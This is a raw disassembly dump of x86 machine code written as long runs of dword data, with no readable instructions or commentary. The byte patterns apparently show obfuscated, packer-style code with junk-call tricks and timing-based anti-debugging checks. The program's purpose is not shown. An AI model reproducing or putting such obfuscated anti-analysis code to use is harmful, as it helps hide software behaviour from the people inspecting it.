4245C89h, 4244481h, 1Ch, 82C35343h dd 1C2A0278h, 23A8BE29h, 177D95FFh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DC49AEC3h dd 68B0Fh, 85090000h, 648004Dh, 9D98D01h, 0BD830648h, 6482F1Dh dd 84840F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 11CFC353h, 858995C5h dd 64805B1h, 8BCBD780h, 48155185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 348F6148h dd 0FD6126A7h, 858955DBh, 6481B35h, 0C6A5EF80h, 0B5010000h dd 64828EDh, 13E8h, 0C3DEA100h, 702A0EF7h, 2CF7A1B9h, 0D549C922h dd 38C01C33h, 0D319D8Bh, 0C75B0648h, 4816E185h, 6, 1494BF00h dd 0CCE95DA6h, 89FFFFF2h, 48322995h, 6AC18B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8D48C352h, 48125585h, 0B1BD0906h, 0BB064830h, 379BC67Ch dd 89FC8A50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 2DAF3CC3h, 0CBB7AD8h, 0BF19D8Bh dd 6AFC0648h, 6890F00h, 89000000h, 48053D9Dh, 5501BB06h dd 6A4E27h, 0FE9h, 6DB87200h, 0D042B154h, 0EC5F064h, 7FCE0C48h dd 65A9858Dh, 6A064Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0C4D34C3h, 51231A5Dh, 8310865Ah dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 71E2F6C3h, 0EBEA853Fh, 0DA8B50A3h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 6ADC350h, 8DD9D0Bh, 6A0648h, 0D159D8Bh, 6A0648h dd 22A59509h, 95FF0648h, 6482B2Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0FC35747h, 0C3BC8FF9h, 0F142980Dh dd 388D8D49h, 0F5064B99h, 40B7D1FFh, 1F98589h, 0BD830648h dd 64830E5h, 5B850F01h, 0B7000000h, 6A026AC1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0E0F6C353h, 0C380CBCEh, 8B665050h, 240489D8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 59C35040h, 635C1C8Fh dd 0DDBD8B48h, 0FF064830h, 48005195h, 0EBE9FC06h, 0E800000Ch dd 0 dd 0B3ED815Dh, 6A064C65h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 1DF0C357h, 1FC306BDh dd 6AD1F5F3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3047C350h, 0C3816635h, 51C45448h dd 93DA858Dh, 8D89064Bh, 64821C1h, 24048950h, 64FE8B66h dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0B0FC7DC3h, 68493202h, 89601DADh dd 482AEDBDh, 61FDB606h, 258964h, 0F8000000h, 1AD185FFh dd 8A0F0648h, 0Bh, 6E9h, 82BF1A00h, 6A845645h, 0C860FFFh dd 0F000000h, 684h, 0E5958900h, 0FF064809h, 4827D9B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0E99D8B76h, 0FF064810h, 4810D995h, 0EFE906h dd 9D8B0000h, 64814F5h, 0EB8100B0h, 6D62717Dh, 0B70F70E6h dd 6671E4F8h, 613CFE8Bh, 0CF830Fh, 9D890000h, 6480015h dd 0A7F78166h, 0C8B60F62h, 1C0D8529h, 6BA0648h, 81000000h dd 0F950E8C3h, 8BC18B34h, 481C9D9Dh, 0F99D8B06h, 0C106482Bh dd 0DAB304E8h, 56E2F766h, 5BDABF0Fh, 0F56C82Bh, 8B5FFBBFh dd 0DEBF0FD1h, 8ED9D31h, 3E90648h, 0F000000h, 858BFFBFh dd 6480AC9h, 5ADBE781h, 0C0831A29h, 0A9BD8B07h, 8306482Bh dd 0B70F00C0h, 0FD03BDBh, 1E83h, 0D7816600h, 9D8B204Ch dd 64813B9h, 48E9h, 9E900h, 87A90000h, 44B833B1h, 8B0858D4h dd 4811918Dh, 159D8B06h, 81064801h, 0EF2207D3h, 1E18346h dd 1F840Fh, 8B660000h, 91A583FBh, 0FE064811h, 3F9BB66h dd 0AC99589h, 66F80648h, 33F2DB81h, 0E9h, 0C7B58D00h, 6A064BF1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0A60AC351h, 0F0B2C51Ch, 6A006A43h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 674C357h, 0CD17E2D4h, 2BB9B589h, 0BF0F0648h, 2D95FFDFh dd 6A064809h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 7446C356h, 4A0A407h, 9A4BB565h dd 81CB9h, 0B1BD2300h, 8306482Fh, 9D8BFCE1h, 6481535h dd 68F0FFCh, 89000000h, 482C01BDh, 89C02B06h, 482C0595h dd 0E9D22B06h, 0Ch, 0A58143CFh, 4ADD949h, 0E702CF90h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 11559D8Bh, 840F0648h, 6, 2E659D8Bh dd 880D0648h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 3705C356h, 0EE9707Ah dd 0E7000000h, 565C01CAh, 0B638D0Dh, 8929A1F3h, 5958BEEh dd 8B064814h, 482969BDh, 258D8B06h, 0F064830h, 688h, 75858900h dd 50064815h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 6AADB358h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 3E7EC352h, 0DD9D3340h, 89064803h dd 48065DB5h, 0FDBD8306h, 64812h, 73840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0F2D273C3h, 6EA5D4CFh, 8E9h, 57B7B100h, 0A3A7EF0h, 0B830h dd 8DF90000h, 484E808Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 42CE39F6h, 4F102D17h dd 6E9D4h, 706A0000h, 0C04C0979h, 0BB66E1FFh, 0C380E333h dd 0D9BD8318h, 6482Ah, 451840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CA3D83C3h dd 38156E4Fh, 0F9E4B594h, 2AD9BD83h, 0F010648h, 43984h dd 0C9BD8B00h, 83064827h, 482AD9BDh, 860F0306h, 3F0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7C35747h, 9C8324C9h dd 60B9F323h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 5DC35343h, 0DDFC58A8h, 44656D9Bh, 8DBF9FB7h, 665D330Fh dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0A2C674C3h, 0F8FD14BAh, 6A04E180h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 1166C351h, 19D899Eh, 0E9064820h, 7, 2EA1DE0Fh, 0AC56EFFh dd 2E840FC9h, 0F000001h, 0C87h, 6810F00h, 3000000h, 480E09BDh dd 59858B06h, 8B064811h, 481741BDh, 0EE906h, 80330000h dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 12198533h, 6A0648h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD89BDC3h, 64813C9h, 0BB525050h, 8B140BEh, 8B66310Fh dd 89585ADFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 9C61F7C3h, 0D98B3AD9h, 7E9006Ah dd 0A5000000h, 0D457FBACh, 4E85DCDh, 0FF000000h, 66001F03h dd 500E94BBh, 9E96057h, 1E000000h, 44A5CAF3h, 0A95526E3h dd 5F615F51h, 424448Bh, 0C8B0Fh, 850F0000h, 6, 8F0Fh, 8B0000h dd 4244489h, 698BBF66h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h db 0E6h, 0F1h word_580046 dw 3725h ; DATA XREF: ___:off_4328B4o ; ___:004328BCo ... dd 8B2E449Ah, 480B01BDh, 4195FF06h, 81064807h, 0E080D0CFh dd 8985897Eh, 33064BB6h, 4832119Dh, 0D5BD8B06h, 0E9064807h dd 1C9h, 57F795BFh, 81858B27h, 6A064BB6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFD6C352h dd 6D8E72E8h, 0FA8B66F9h, 30ED9D8Bh, 0C70648h, 18h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 1C35242h, 0BCE930EBh dd 8905EF95h, 481A4985h, 85B58B06h, 89064BB6h, 480D09BDh dd 85858B06h, 2B06481Ah, 4806B99Dh, 0F068906h, 858BFBB7h dd 6481159h, 7B126ABFh, 4468943h, 0E896C5B7h, 10h, 4EA8C329h dd 0D1B63F4Ch, 0C9B553C1h, 0AA0E771Ah, 14E856h, 59830000h dd 56C58865h, 9CA44304h, 615CFA72h, 8B43F9DBh, 5F5F0DE0h dd 0F96505Bh, 0B5FFFAB7h, 64BB681h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0C4C35545h, 0E8F5298Ah, 4 dd 1F03FFh, 52506060h, 585A310Fh, 2B241FB8h, 50616114h dd 8BDF8B66h, 60042444h, 7E8h, 3B77ED00h, 3C42253Ah, 615FFE8Ah dd 0E957008Bh, 0Fh, 44BAF2BFh, 0E050A7CEh, 0FD744458h dd 5B8B1270h, 4244489h, 0CE860h, 1B670000h, 0ABBF3939h dd 9AAFF3F9h, 5B51528Ch, 0F58615Bh, 689h, 53C38100h, 0E97E9DECh dd 11h, 29368411h, 0F534D500h, 4A9752ECh, 16907503h, 89858D32h dd 6A064BB6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 1625C351h, 0F8BF0FBDh, 22E1BD8Bh dd 0F500648h, 0A88h, 8B666000h, 4A03B8D0h, 8961589Bh, 8E0F2404h dd 4, 87EFBB66h, 74195FFh, 8B660648h, 6A61FBh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0D32595C3h, 85C7B92Eh, 6482AD9h, 3, 15018D31h, 0BD830648h dd 64BB689h, 11840F00h, 29000000h, 482B59BDh, 21E906h dd 0B5890000h, 6481721h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0F9C08B00h, 10E8h, 4B4A6F00h, 3B4BF441h dd 400760AEh, 617301EBh, 7E9C0h, 0DEFD0000h, 0B36335C7h dd 0BD835B80h, 6482AD9h, 26850F03h, 0F000004h, 684h, 39858900h dd 83064817h, 4BB689BDh, 840F0006h, 40Dh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 11C35141h, 85014310h dd 6481569h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 69085C3h, 8BD3B8F8h dd 0F595FFDFh, 6A064809h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 8CEC356h, 8332ECD5h dd 0B67DB58Bh, 9D33064Bh, 6481049h, 106C7h, 13E90001h dd 55000000h, 0C0392031h, 592E337Fh, 5C4A969Ah, 0BAF70FD1h dd 0DE8BE297h, 5E950h, 7A3F0000h, 899F9FA8h, 8B662434h dd 89B5FFDEh, 6A064BB6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 57ECC353h, 0F8BF0FCFh dd 6195FFh, 8E90648h, 1D000000h, 37BBA32Eh, 8BA57660h dd 4BB67DB5h, 8BEDB306h, 480F2585h, 81666006h, 0E8AC7DC6h dd 0Fh, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 237F4F41h, 4817419Dh dd 89615A06h, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 1FD58DF7h, 6C76A9D5h dd 4820FFBh, 66000000h, 8B5359BFh, 4832DDBDh, 9BFFBF06h dd 958B7D92h, 6481405h, 83DFBF0Fh, 6A04C2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 49183CC3h dd 0B99D8B96h, 89064813h, 0BB662050h, 858DFFC3h, 64BCAD4h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ACC35343h dd 67E5E77Ah, 0AE33FF69h, 17558589h, 85890648h, 64810CDh dd 0B88689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 9E56DFC3h, 2F527473h, 0CE9006Ah dd 7F000000h, 0BDE01BD0h, 0FB1E6CEBh, 8B1A90C9h, 481C6D9Dh dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0E75CC350h, 0B51BE3A7h dd 8039DBA1h, 95FF22EFh, 6480051h, 16BDBD8Bh, 50960648h dd 5250505Bh, 0FA8B6660h, 820Fh, 0F610000h, 0DE8B6631h dd 0E996585Ah, 0Fh, 0C42D2356h, 653726E5h, 0B85B71C6h dd 0FFA0E9DCh, 4BB689B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95FF8D1Fh dd 6481429h, 0FD8D0957h, 5F06481Eh, 0BD8381B7h, 64831A9h dd 42840F00h, 0B7000000h, 0EBF50C9h, 891AC2B0h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0DBAA92C3h, 0A0BA16A8h, 10E9h, 89324200h, 0CD950A41h dd 0FC24894h, 0FF21935Eh, 89B5FFBBh, 8B064BB6h, 480A2D9Dh dd 68B0F06h, 8B000000h, 4828C19Dh, 0FD95FF06h, 89064813h dd 48178585h, 89B5FF06h, 89064BB6h, 4802F9B5h, 7D95FF06h dd 66064817h, 0BD8BDE8Bh, 6480B29h, 2F1DBD83h, 0F020648h dd 0A984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0B2855732h, 89DBB8B0h, 480BB99Dh dd 51858B06h, 6A064815h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 5457C350h, 830F98F3h dd 28h, 14E860h, 2E6F0000h, 0B0FD345Dh, 76A83BBDh, 8906D31Dh dd 838A46DDh, 0E95E59EAh, 7, 638C019Ah, 61716FF8h, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 4841C355h, 0A9A324E9h, 6CBFF744h, 0F330E14h dd 85C7FBBFh, 64816E1h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0ECC35040h dd 0F3EDE9AEh, 0BD03FFFFh, 6481BA1h, 0B9BD8B52h, 5F06480Bh dd 0F381C18Bh, 41190C02h, 9859501h, 858D0648h, 6481255h dd 1AF18D89h, 50900648h, 8E9h, 86E91A00h, 2855EF65h, 0BD29904Eh dd 64819C9h, 8B66006Ah, 6A006AD9h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D351C353h dd 627D505Ah, 5D8D09D7h, 0F06480Ah, 858DDEBFh, 64C74B8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h dd 0D1725DB4h, 83C36345h, 6A05C0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0D1BB71C3h, 0F33D5B9h dd 0F90D8BFh, 0D83h, 19BF6000h, 0F7A50E3h, 88h, 0B3506100h dd 6A90F2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F2558C3h, 6ADEBFh, 27D7DB81h, 6A1534h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 34C35747h, 95FFF5DBh dd 6482B2Dh, 8D5BF852h, 4B99388Dh, 13E906h, 0C6BF0000h dd 4AAE858Bh, 0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 6AD1FF76h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 8CB8C351h, 2B97C9E8h, 8D895583h, 6480B21h dd 30E5BD83h, 0F010648h, 0BC85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 459D3128h dd 2DB501A7h, 6A064828h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 364F82D9h, 0FC317092h dd 50605350h, 5A310F52h, 8B0F58h, 61000000h, 2404895Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CAC35747h dd 0E8DDA338h, 0B6BF7EB0h, 0FF4F9928h, 48005195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 212C4C95h, 6820Fh, 9D8B0000h, 6482019h, 342C8EBBh, 0DC3E931h dd 0E80000h, 5D000000h, 74C2ED81h, 6A064Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DA395AC3h dd 0BB66FA8Dh, 860FFFBFh, 1Dh, 11E8h, 2DD0C100h, 0DD8F00A3h dd 52FB89BCh, 0F9312C7Ch, 0BD8BA549h, 6480049h, 0FF88B5Bh dd 68Fh, 0B19D8900h, 8D06480Eh, 4B93DA85h, 89D98A06h, 48323D95h dd 0E8609006h, 0Ah, 36E31460h, 10E141CEh, 8F0FC673h, 0 dd 0BA66565Ah, 6159F24Ah, 0B8666050h, 0E8B1BB1Ch, 0DC8A9061h dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0E518C355h, 64EEA232h dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 1E3F24C3h, 64B19E24h, 0E97735C3h dd 0Dh, 604BCB55h, 7A489C3Ah, 0F413F98Bh, 0D185FFCDh, 8906481Ah dd 480CA1BDh, 6AFF6A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 8434C353h, 0FF6B3E2Bh dd 480D3DB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0E4639894h, 8B664F17h, 0D995FFFBh dd 0E9064810h, 14Ah, 14B98529h, 12E80648h, 3E000000h, 0B142D8E5h dd 7E5E2060h, 86951D98h, 5E3B1B99h, 6840FE7h, 31000000h dd 48099D85h, 0B05B06h, 0CE59589h, 9D8B0648h, 6481549h dd 0B70F70E6h, 5171E4DEh, 159D2960h, 8106480Dh, 470246E1h dd 3C5B6113h, 0F3830F61h, 0BF000000h, 3143C1A3h, 0F9C8B60Fh dd 13119D8Bh, 6BA0648h, 8B000000h, 5D8509C1h, 0C1064811h dd 8B6604E8h, 66F98BD8h, 12E9E2F7h, 83000000h, 0C9C1E27h dd 0AD8A1062h, 0D9B563B7h, 531F6381h, 60C82BFBh, 0FE9h dd 0AE2A2400h, 3C1EC7E1h, 0B364691h, 8D8CABC4h, 61FFB70Fh dd 8A0FD18Bh, 1, 3E9F5h, 0BF0F0000h, 71858BFEh, 83064817h dd 880F07C0h, 6, 7518D89h, 0C0830648h, 0D88B6600h, 830FD03Bh dd 20h, 13E9h, 0A943F700h, 0E5106324h, 0E30F1DBAh, 9BA1F543h dd 11A84CD1h, 49E9h, 0F9BF0F00h, 12B58D8Bh, 8D0F0648h dd 6, 29918D89h, 9D8B0648h, 6483175h, 0F01E183h, 2584h dd 83D7B300h, 4812B5A5h, 8157FE06h, 5CA90BE7h, 95895B5Ah dd 6481771h, 3890Fh, 8B660000h, 0E9D9h, 0B58D0000h, 64BFC48h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h dd 66F371EEh, 6A8DD5BBh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 5BB830B4h, 8D893911h dd 6482BB9h, 92D95FFh, 0DA8B0648h, 74AB9h, 0FAF38100h dd 830A634Eh, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0E7D7A6C3h, 6AFCF8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 738C71C3h dd 89C02B82h, 480B8995h, 0BA06h, 9D8B0000h, 64814A5h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F8C35646h, 6BDB0B6Bh, 3175AA4Ch, 8E940h dd 8AC30000h, 0DADB2C7Eh, 6A3A07h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0C3E836C3h, 0D8B70F99h dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 9D8B60E3h, 6482AADh, 61C28B66h, 1405958Bh dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4F6285C3h, 0C06C3596h, 0E923BDE8h, 0Bh, 0F54A1919h dd 0D91B47A2h, 8BC77D3Fh, 4830258Dh, 38A0F06h, 0F000000h dd 0B70FFFBFh, 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 8B58188Bh, 48075D9Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 3ABC9867h, 0FDBD83B0h dd 64812h, 80840Fh, 11E90000h, 0BB000000h, 97AA260Eh, 9864F812h dd 0CBEA6513h, 1EF8BCF6h, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8D8D8A7Fh dd 6484E80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 28C35747h, 0BCA79A00h, 6AE093Bh, 7AEB81FEh, 0FF5F0397h dd 9E8E1h, 283A0000h, 0E6AA9F0Dh, 8980AE1Bh, 4817F5B5h dd 0BD835F06h, 6482AD9h, 57840F00h, 8B000004h, 481CD9BDh dd 0D9BD8306h, 106482Ah, 45F840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 42F679C3h dd 645213AFh, 3170C56Ah, 48233D85h, 0D9BD8306h, 306482Ah dd 3F1860Fh, 0BA600000h, 31472008h, 0DE99589h, 60610648h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6EC35747h dd 665387EBh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 279755C3h, 0D3E278E2h, 0E180C5FDh dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 423107F7h, 0A863550h, 38840FC9h, 66000001h dd 858BFE8Bh, 6481159h, 0E7E38166h, 19853310h, 6A064812h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 6D9CC353h, 4BF21650h, 0B800F50h, 0E9000000h dd 6, 0A00700EBh, 4894341h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 66EDE02Bh dd 8A8CE781h, 820F006Ah, 27h, 0BE8h, 4332AC00h, 0CD26CBBAh dd 1DA3F827h, 11E9h, 9F0C0700h, 78A008D3h, 3F6C3AD0h, 0B997D716h dd 685BC72Eh, 0F0F2F41Ch, 8A6D61BFh, 24048148h, 0F2C0FE3h dd 9F1BD29h, 95FF0648h, 6480741h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 28C35646h, 3681C292h, 0F7985ECh dd 680h, 39B58900h, 89064810h, 4BB68985h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0BC5EEEF8h, 0E976EE00h, 19Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 55C35040h, 9B52904h, 8B064817h dd 4BB68185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0EBE03900h, 23FE8B66h, 481AED9Dh dd 1800C706h, 8B000000h, 4BB685B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C858949Dh dd 899422F9h, 4826C995h, 85858B06h, 0E906481Ah, 6, 0C739F192h dd 8D89DEE6h, 6481289h, 6A0689h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0CB1E7CC3h, 858BFE8Ah dd 6481159h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0ABC35646h, 0C5923D1Bh, 50D648E8h, 0DD9D89F9h dd 8906480Dh, 0BF0F0446h, 7AB796DBh, 13E89650h, 33000000h dd 3FDE65BFh, 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 0FF5BADF6h dd 4BB681B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B14E402h, 4802299Dh, 66C36806h dd 0DF8BDC8Ch, 3C240481h, 8023929Dh, 858D96EBh, 64BB689h dd 0DA59D2Bh, 0BF900648h, 923D37Fh, 903DB750h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C8C35646h, 7FB9769Ch dd 61ADA432h, 21CDBBBAh, 95FF7698h, 6480741h dd 7862C381h, 0BB66165Ch, 6A619434h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6600C357h dd 8B304ABFh, 480F299Dh, 7E906h, 31EC0000h, 61B9B0B9h dd 0D985C70Eh, 306482Ah, 0E9000000h, 8, 0A77D5FC5h, 0A9C47159h dd 0B689BD83h, 0F00064Bh, 6684h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0AE8BD6Eh dd 4C000000h, 0D2D8D54Ch, 0E6AD53B9h, 5DBD8904h, 5F064832h dd 49E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0CE9E0E8h, 76000000h, 0A3E9F1E2h dd 0A3DCEADCh, 500DD061h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 840FC08Bh, 1, 0EE9F5h, 1E4B0000h dd 8E93BD98h, 30F667DCh, 3F43CD8Ah, 2AD9BD83h, 0F030648h dd 3EC85h, 0D7816600h, 0BD8383ACh, 64BB689h, 0DA840F00h dd 0F000003h, 0B5FFFEB7h, 64BB689h, 13E957h, 0DD320000h dd 470FA121h, 23803EBEh, 361C89B7h, 0B882B891h, 95FF5B1Dh dd 64809F5h, 8BFAB70Fh, 4BB67DB5h, 0F58D2906h, 0C7064804h dd 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 5009BC5Dh, 19820F60h, 0E9000000h dd 14h, 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh dd 12A359BAh, 3489615Ah, 6880F24h, 2B000000h, 4815759Dh dd 89B5FF06h, 66064BB6h, 95FFFE8Bh, 6480061h, 27A5BD8Bh dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 9C35545h, 8B5FD72Eh, 4814499Dh, 25858B06h dd 6A06480Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 3E86C352h, 665FDD98h, 892A2ABBh dd 480B2985h, 0C4868906h, 33000000h, 481CD1BDh, 5958B06h dd 89064814h, 480A81BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0B0C35747h, 0E94841D7h, 66A9A324h dd 5089DA8Bh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 5E9D090h, 0BD000000h, 0FB1E6CEBh dd 0CAD4858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BB66F7C3h, 8689EC68h, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DDC35747h, 5BB66B6h dd 6A006A7Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 6382C355h, 0B689B5FFh, 6A064Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 9FF873C3h, 